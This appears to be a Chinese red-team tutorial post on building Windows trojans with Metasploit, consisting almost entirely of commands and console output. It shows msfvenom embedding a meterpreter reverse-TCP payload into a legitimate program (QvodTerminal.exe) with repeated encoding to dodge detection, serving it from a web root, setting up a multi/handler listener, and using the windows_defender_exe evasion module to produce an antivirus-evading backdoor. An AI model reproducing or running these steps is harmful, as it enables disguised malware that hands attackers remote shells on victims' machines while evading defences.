红队/白帽必经之路(18)——如何用Metasploit 制作Windows恶意木马病毒/软件获取shell[既然是红队，那就对自己狠一点]

root@xuegod53:~# msfvenom -a x86 --platform windows -p  windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >  set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >  set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

msf6 exploit(multi/handler) > search evasion

Matching Modules
================

   #   Name                                                 Disclosure Date  Rank    Check  Description
   -   ----                                                 ---------------  ----    -----  -----------
   0   evasion/windows/applocker_evasion_install_util                        normal  No     Applocker Evasion - .NET Framework Installation Utility
   1   evasion/windows/applocker_evasion_msbuild                             normal  No     Applocker Evasion - MSBuild
   2   evasion/windows/applocker_evasion_regasm_regsvcs                      normal  No     Applocker Evasion - Microsoft .NET Assembly Registration Utility
   3   evasion/windows/applocker_evasion_workflow_compiler                   normal  No     Applocker Evasion - Microsoft Workflow Compiler
   4   evasion/windows/applocker_evasion_presentationhost                    normal  No     Applocker Evasion - Windows Presentation Foundation Host
   5   evasion/windows/syscall_inject                                        normal  No     Direct windows syscall evasion technique
   6   exploit/unix/webapp/php_eval                         2008-10-13       manual  Yes    Generic PHP Code Evaluation
   7   evasion/windows/windows_defender_exe                                  normal  No     Microsoft Windows Defender Evasive Executable
   8   evasion/windows/windows_defender_js_hta                               normal  No     Microsoft Windows Defender Evasive JS.Net and HTA
   9   evasion/windows/process_herpaderping                                  normal  No     Process Herpaderping evasion technique
   10  post/windows/gather/checkvm                                           normal  No     Windows Gather Virtual Environment Detection


Interact with a module by name or index. For example info 10, use 10 or use post/windows/gather/checkvm                                                                                         

msf6 exploit(multi/handler) > 

msf6 exploit(multi/handler) > back
msf6 >  use evasion/windows/windows_defender_exe
msf6 evasion(windows/windows_defender_exe) > show options

Module options (evasion/windows/windows_defender_exe):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  FpIYCf.exe       yes       Filename for the evasive file (default: random)


Evasion target:

   Id  Name
   --  ----
   0   Microsoft Windows



View the full module info with the info, or info -d command.

msf6 evasion(windows/windows_defender_exe) > 

set FILENAME xuegod.exe

 set payload

 set LHOST 192.168.1.53

set LPORT 4444

msf6 evasion(windows/windows_defender_exe) > set FILENAME xuegod.exe
FILENAME => xuegod.exe
msf6 evasion(windows/windows_defender_exe) > set payload
payload => 
msf6 evasion(windows/windows_defender_exe) > set payload  windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 evasion(windows/windows_defender_exe) >  set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 evasion(windows/windows_defender_exe) >  set LPORT 4444
LPORT => 4444
msf6 evasion(windows/windows_defender_exe) > run

msf6 >  use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >  set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

 cp /root/.msf4/local/xuegod.exe /var/www/html/xuegod.exe